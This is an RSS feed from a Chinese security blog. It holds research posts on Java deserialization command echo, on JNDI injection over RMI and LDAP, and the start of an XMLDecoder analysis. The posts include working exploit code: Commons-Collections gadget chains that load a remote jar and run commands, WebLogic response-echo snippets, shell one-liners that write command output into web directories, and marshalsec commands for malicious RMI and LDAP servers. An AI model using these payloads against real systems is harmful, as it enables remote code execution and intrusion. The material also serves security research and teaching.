<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>代码审计 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 30 Jul 2020 04:56:44 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Java 反序列化回显的多种姿势</title>
		<link>/audit/1777.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 15 May 2020 16:16:24 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1777</guid>

					<description><![CDATA[聊一聊反序列化回显的问题 写在文前 在研究weblogic、fastjson、shiro反序列化漏洞时，多次遇到了回显问题，本文将从以下几种角度出发来分别探讨反序列化回显的问题，也...]]></description>
										<content:encoded><![CDATA[<p>聊一聊<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>回显的问题</p>
<h2>写在文前</h2>
<p>在研究<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>、fastjson、shiro反序列化漏洞时，多次遇到了回显问题，本文将从以下几种角度出发来分别探讨反序列化回显的问题，也感谢各位师傅们的反序列化回显研究。</p>
<ol>
<li>defineClass</li>
<li>RMI绑定实例</li>
<li>URLClassLoader抛出异常</li>
<li>中间件</li>
<li>写文件css、js</li>
<li>dnslog</li>
</ol>
<h2>defineClass</h2>
<p>先说defineClass这个东西是因为下面的几种方式都是在其基础上进行改进。defineClass归属于ClassLoader类，其主要作用就是使用编译好的字节码就可以定义一个类。</p>
<p>形如</p>
<pre><code class="language-java line-numbers">package com.test.ClassLoader;

import java.lang.reflect.Method;

public class MyClassLoader extends ClassLoader {
    private static String myClassName = "com.test.ClassLoader.HelloWorld";
    private static byte[] bs = new byte[]{
        -54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21,
    };

    public static void main(String[] args) {
        try {
            MyClassLoader loader = new MyClassLoader();
            Class helloClass = loader.loadClass(myClassName);
            Object obj = helloClass.newInstance();
            Method method = obj.getClass().getMethod("test");
            method.invoke(null);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected Class&lt;?&gt; findClass(String name) throws ClassNotFoundException {
        if (name == myClassName) {
            System.out.println("加载" + name + "类");
            return defineClass(myClassName, bs, 0, bs.length);
        }
        return super.findClass(name);
    }

}
</code></pre>
<h2>RMI绑定实例</h2>
<p>之前写过一篇 <a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7228">《Weblogic使用ClassLoader和RMI来回显命令执行结果》</a>，其中提到了使用commons-collection反射调用defineClass，通过defineClass定义的恶意命令执行字节码来绑定RMI实例，接着通过RMI调用绑定的实例拿到回显结果。其中最关键的代码就下面几行</p>
<pre><code class="language-java line-numbers">// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(DefiningClassLoader.class),
        new InvokerTransformer("getDeclaredConstructor",
            new Class[] { Class[].class }, new Object[] { new Class[0] }),
        new InvokerTransformer("newInstance",
            new Class[] { Object[].class },
            new Object[] { new Object[0] }),
        new InvokerTransformer("defineClass",
            new Class[] { String.class, byte[].class },
            new Object[] { className, classBytes }),
        new InvokerTransformer("getMethod",
            new Class[] { String.class, Class[].class },
            new Object[] { "main", new Class[] { String[].class } }),
        new InvokerTransformer("invoke",
            new Class[] { Object.class, Object[].class },
            new Object[] { null, new Object[] { null } }),
        new ConstantTransformer(new HashSet())
};
</code></pre>
<p>使用cc链进行反射调用，其中className为恶意命令执行类，形如<code>com.test.payload.RemoteImpl</code>，继承自Remote接口的实现，classBytes为该类字节码数组，将该类对象绑定在<code>rmi://127.0.0.1:1099/Hello</code>实例上，进而通过JNDI调用Hello即可。</p>
<h2>URLClassLoader抛出异常</h2>
<p>通过将回显结果封装到异常信息抛出拿到回显。</p>
<p>首先写一下执行命令的类</p>
<pre><code class="language-java line-numbers">import java.io.*;
import java.nio.charset.Charset;

public class ProcessExec {
    public ProcessExec(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;

        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }

        throw new Exception(buffer.toString());
    }
}
</code></pre>
<p>打jar包</p>
<pre><code class="language-java line-numbers">javac ProcessExec.java
jar -cvf p.jar ProcessExec.class
</code></pre>
<p>使用URLClassLoader加载jar获得回显</p>
<pre><code class="language-java line-numbers">package payload;

import java.lang.reflect.Constructor;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassloader {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://127.0.0.1/p.jar");
        URL[] urls = {url};
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
        Constructor&lt;?&gt; processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class);
        processExec.newInstance("ipconfig");

    }
}
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200516008124.png" alt="image.png" /></p>
<p>使用URLClassLoader的部份可以通过cc链反射去做</p>
<pre><code class="language-java line-numbers">package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections5URLClassLoader {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(URLClassLoader.class),
                // 获取构造方法
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{java.net.URL[].class}}),
                // new实例并赋值url
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1/p.jar")}}}),
                // loadClass加载ProcessExec
                new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
                // 获取ProcessExec的构造方法
                new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
                // 实例化ProcessExec
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})

        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>这个例子大多出现在jboss和fastjson中，灵活使用。</p>
<h2>中间件回显</h2>
<p>中间件而言多数重写了thread类，在thread中保存了req和resp，可以通过获取当前线程，在resp中写入回显结果</p>
<p>这种方法前几天在先知上有很多针对tomcat无回显的文章，为各位师傅的文章画一下时间线：</p>
<ol>
<li><a class="wp-editor-md-post-content-link" href="https://www.anquanke.com/post/id/198886">《基于内存 Webshell 的无文件攻击技术研究》</a> 主要应用于Spring</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7307">《linux下java反序列化通杀回显方法的低配版实现》</a> 将回显结果写入文件操作符</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7348">《Tomcat中一种半通用回显方法》</a> 将执行命令的结果存入tomcat的response返回 shiro无法回显</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7388">《基于tomcat的内存 Webshell 无文件攻击技术》</a> 动态注册filter实现回显 shiro无法回显</li>
<li><a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;mid=2651374294&amp;idx=3&amp;sn=82d050ca7268bdb7bcf7ff7ff293d7b3">《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》</a> 通过Thread.currentThread.getContextClassLoader() 拿到request、response回显 tomcat7中获取不到StandardContext</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7535">《tomcat不出网回显连续剧第六集》</a> 直接从Register拿到process对应的req</li>
</ol>
<p>不再赘述了，具体实现文章都有了。值得一提的思路可能就是反序列化不仅仅可以回显，也可以配合反射和字节码动态注册servlet实现无内存webshell。</p>
<p>在weblogic中也有resp回显，具体代码在 <a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/5299">《weblogic_2019_2725poc与回显构造》</a> lufei师傅已经给出来了</p>
<p>weblogic10.3.6</p>
<pre><code class="language-java line-numbers">String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
</code></pre>
<p>weblogic12.1.3</p>
<pre><code class="language-java line-numbers">java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
</code></pre>
<h2>写文件</h2>
<p>通过搜索特殊文件路径直接写入web可访问的目录，要熟悉常用中间件容器的目录结构，比如在我web目录有一个特殊的test.html</p>
<p>linux用bash</p>
<pre><code class="language-bash line-numbers">// 进入test.html的根目录并执行id命令写入1.txt
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) &amp;&amp; echo `id` &gt; 1.txt
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200516003808.png" alt="image.png" /></p>
<p>windows的powershell</p>
<pre><code class="language-powershell line-numbers">$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200516009199.png" alt="image.png" /></p>
<h2>dnslog</h2>
<p>这个就不提了，技巧的话就是用powershell或者base64命令编码一下，避免特殊字符，还有就是挑小众的dnslog平台。</p>
<h2>参考</h2>
<ol>
<li>https://www.cnblogs.com/afanti/p/12502145.html</li>
<li>https://xz.aliyun.com/t/5299</li>
<li>https://<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>sec.org/javase/ClassLoader/</li>
<li>https://www.cnblogs.com/ph4nt0mer/p/12802851.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>攻击Java中的JNDI、RMI、LDAP（二）</title>
		<link>/audit/1444.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 03:34:45 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jndi]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1444</guid>

					<description><![CDATA[上文我简述了JNDI，本文我将演示如何攻击JNDI。 JNDI注入 这个东西是BlackHat 2016（USA）的一个议题 &#8220;A Journey From JNDI ...]]></description>
										<content:encoded><![CDATA[<p>上文我简述了JNDI，本文我将演示如何攻击JNDI。</p>
<h2>JNDI注入</h2>
<p>这个东西是BlackHat 2016（USA）的一个议题 <a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">&#8220;A Journey From JNDI LDAP Manipulation To RCE&#8221;</a> 提出的。他的攻击步骤可以概括为以下几步：</p>
<ol>
<li>服务端实例化JNDI InitialContext请求attacker的恶意<span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>Server</li>
<li>InitialContext初始化期间lookup rmi://attacker/Obj</li>
<li>恶意RMIServer返回JNDI Reference</li>
<li>服务端接收到JNDI Reference之后会从恶意RMIServer获取工厂类</li>
<li>恶意RMIServer返回的工厂类中带有static块的Java代码，造成任意代码执行</li>
</ol>
<h2>攻击JNDI</h2>
<p>作者水平有限，本文仅讲述以下几种攻击JNDI的方法。<br />
1. JNDI 配合 RMI Remote Object(codebase)<br />
2. JNDI Reference 配合 RMI<br />
3. JNDI Reference 配合 <span class="wpcom_tag_link"><a href="/tags/ldap" title="LDAP" target="_blank">LDAP</a></span></p>
<h3>RMI Remote Object</h3>
<p>在早期Java是可以运行在浏览器中的，也就是Applet。使用Applet通常需要指定一个codebase参数，比如：</p>
<pre><code class="language-java ">&lt;applet code="HelloWorld.class" codebase="Applets" width="800" height="600"&gt;&lt;/applet&gt;
</code></pre>
<p>codebase是一个类地址，它告诉Java应该从哪里寻找class，就像classpath一样，但与classpath不一样的是codebase如果从本地加载不到，就会从远程地址中加载。如果codebase地址可控，在RMI中，codebase是和序列化数据一起传输的，所以会造成RCE。</p>
<p>但是codebase需要满足两个条件：</p>
<ol>
<li>安装并配置了SecurityManager</li>
<li>Java版本低于7u21、6u45，或者设置了 <code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi.server.useCodebaseOnly=false</code></li>
</ol>
<p>官方将 <code>java.rmi.server.useCodebaseOnly</code> 的默认值由 false 改为了 true 。 <code>java.rmi.server.useCodebaseOnly</code>配置为 true 的情况下，Java虚拟机将只信任预先配置好的 <code>codebase</code>，不再支持从RMI请求中获取。所以这个东西特别鸡肋。</p>
<p>在大多数情况下，你可以在命令行上通过属性 <code>java.rmi.server.codebase</code> 来设置Codebase。</p>
<p>例如，如果所需的类文件在Webserver的根目录下，那么设置Codebase的命令行参数如下（如果你把类文件打包成了jar，那么设置Codebase时需要指定这个jar文件）</p>
<pre><code class="language-bash ">-Djava.rmi.server.codebase=http://url:8080/
</code></pre>
<p>当接收程序试图从该URL的Webserver上下载类文件时，它会把类的包名转化成目录，在Codebase 的对应目录下查询类文件，如果你传递的是类文件 com.project.test ，那么接受方就会到下面的URL去下载类文件：</p>
<pre><code class="">http://url:8080/com/project/test.class
</code></pre>
<h3>JNDI Reference配合RMI</h3>
<p>看一下演示代码，同样本文仍然使用的是<a class="wp-editor-md-post-content-link" href="https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms">Longofo</a>师傅的代码。</p>
<pre><code class="language-java ">package com.longofo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
</code></pre>
<pre><code class="language-java ">package com.longofo.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//        Properties env = new Properties();
//        env.put(Context.INITIAL_CONTEXT_FACTORY,
//                "com.sun.jndi.rmi.registry.RegistryContextFactory");
//        env.put(Context.PROVIDER_URL,
//                "rmi://localhost:9999");

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // 下面这行是我自己加的 8u221需要 原因看下文
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        DirContext dirc = new InitialDirContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}
</code></pre>
<p>在RMIClient1.java中，我把<code>com.sun.<span class="wpcom_tag_link"><a href="/tags/jndi" title="jndi" target="_blank">jndi</a></span>.ldap.object.trustURLCodebase</code>设置为true，没加上之前一直不成功，一步一步跟一下才解决问题，看下我的分析步骤：</p>
<p>跟进lookup，然后在<code>javax/naming/spi/NamingManager.java:146</code>会尝试从本地加载类<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/85a522d4-e055-58af-d92e-affc2f68e062.png" alt="image.png" /></p>
<p>如不在classpath中会尝试从codebase加载<br />
<img src="/wp-content/uploads/2020/04/ec3608e4-7164-85dd-5443-ff7faa273365.png" alt="image.png" /></p>
<p>跟进loadClass</p>
<pre><code class="language-java ">public Class&lt;?&gt; loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
            URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}
</code></pre>
<p>发现依据<code>trustURLCodebase</code>的值来判断是否加载，在类的属性中发现<code>trustURLCodebase</code>取决于<code>com.sun.jndi.ldap.object.trustURLCodebase</code>的值。堆栈</p>
<pre><code class="language-java ">loadClass:101, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:24, RMIClient1 (com.longofo.jndi)
</code></pre>
<pre><code class="language-java ">private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
    AccessController.doPrivileged(
    new PrivilegedAction&lt;String&gt;() {
        public String run() {
            try {
                return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                                          "false");
            } catch (SecurityException e) {
                return "false";
            }
        }
    }
);
</code></pre>
<p>最后的效果就是这样</p>
<p><img src="/wp-content/uploads/2020/04/0cdaf07e-4ee7-e925-eb37-8ecbdbc26c30.png" alt="image.png" /></p>
<p>在实战用我更倾向于使用marshalsec来起RMI恶意服务，RMI服务端口号默认为1099</p>
<pre><code class="language-bash ">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099
</code></pre>
<p>你仍然需要自己启动web服务</p>
<h3>JNDI Reference配合LDAP</h3>
<p>在上文中说过，JNDI一般配合RMI、LDAP等协议进行使用，所以上文中有RMI，自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务，LDAP服务默认端口号为1389。</p>
<pre><code class="language-bash ">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
</code></pre>
<h2>JNDI注入的JDK版本限制</h2>
<p>由于JNDI注入动态加载的原理是使用Reference引用Object Factory类，其内部在上文中也分析到了使用的是URLClassLoader，所以不受<code>java.rmi.server.useCodebaseOnly=false</code>属性的限制。</p>
<p>但是不可避免的受到 <code>com.sun.jndi.rmi.object.trustURLCodebase</code>、<code>com.sun.jndi.cosnaming.object.trustURLCodebase</code>的限制。</p>
<ol>
<li>JDK 5U45、6U45、7u21、8u121 开始 <code>java.rmi.server.useCodebaseOnly</code> 默认配置为true</li>
<li>JDK 6u132、7u122、8u113 开始 <code>com.sun.jndi.rmi.object.trustURLCodebase</code> 默认值为false</li>
<li>JDK 11.0.1、8u191、7u201、6u211 <code>com.sun.jndi.ldap.object.trustURLCodebase</code> 默认为false</li>
</ol>
<p>一张图来展示JNDI注入的利用方式与JDK版本的关系：</p>
<p><img src="/wp-content/uploads/2020/04/0c2621c8-a2c3-fb3a-b27b-b8f0448863f4.png" alt="image.png" /></p>
<blockquote><p>
  图引用于 https://xz.aliyun.com/t/6633
</p></blockquote>
<p>小声逼逼:java每个版本的属性多多少少都有点不一样，对于搞安全的来讲实在是太累了:&lt;</p>
<h2>已知的JNDI注入</h2>
<p>对于JNDI注入，需要注意：</p>
<ol>
<li>仅由InitialContext或其子类初始化的Context对象（InitialDirContext或InitialLdapContext）容易受到JNDI注入攻击</li>
<li>InitialContext可以通过JNDI动态协议转换覆盖</li>
<li>InitialContext.rename()和InitialContext.lookupLink()最终也调用了lookup()</li>
</ol>
<p>还有一些包装类也调用了lookup()，比如：Spring的JndiTemplate。</p>
<ol>
<li><a class="wp-editor-md-post-content-link" href="https://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce">JtaTransactionManager</a> found by zerothinking</li>
<li><a class="wp-editor-md-post-content-link" href="https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html">com.sun.rowset.JdbcRowSetImpl</a> found by matthias_kaiser</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">javax.management.remote.rmi.RMIConnector.connect()</a> found by pwntester</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()</a> found by pwntester</li>
</ol>
<p>这些带佬是真的强&#8230;</p>
<h2>小结</h2>
<p>本文简述了如何攻击JNDI，以及一些限制条件，并且列举了一些已知的JNDI注入，解释了上文中留下来的坑。下文将讲述RMI。</p>
<h2>参考链接</h2>
<ol>
<li>https://paper.seebug.org/1091/</li>
<li>Java安全漫谈 &#8211; 05.RMI篇(2)</li>
<li>https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html</li>
<li>https://xz.aliyun.com/t/6633</li>
<li>https://javasec.org/javase/JNDI/</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>XMLDecoder反序列化分析</title>
		<link>/audit/1425.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 03:33:57 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[xmldecoder]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1425</guid>

					<description><![CDATA[简介 XMLDecoder是java自带的以SAX方式解析xml的类，其在反序列化经过特殊构造的数据时可执行任意命令。在Weblogic中由于多个包wls-wast、wls9_as...]]></description>
										<content:encoded><![CDATA[<h2>简介</h2>
<p>XMLDecoder是<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>自带的以SAX方式解析xml的类，其在<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>经过特殊构造的数据时可执行任意命令。在Weblogic中由于多个包<code>wls-wast</code>、<code>wls9_async_response war</code>、<code>_async</code>使用了该类进行反序列化操作，出现了了多个RCE漏洞。</p>
<p>本文不会讲解weblogic的xml相关的洞，只是分析下Java中xml反序列化的流程，采用JDK2U21。</p>
<h2>什么是SAX</h2>
<p>SAX全称为<code>Simple API for XML</code>，在Java中有两种原生解析xml的方式，分别是SAX和DOM。两者区别在于：<br />
1. Dom解析功能强大，可增删改查，操作时会将xml文档以文档对象的方式读取到内存中，因此适用于小文档<br />
2. Sax解析是从头到尾逐行逐个元素读取内容，修改较为不便，但适用于只读的大文档</p>
<p>SAX采用事件驱动的形式来解析xml文档，简单来讲就是触发了事件就去做事件对应的回调方法。</p>
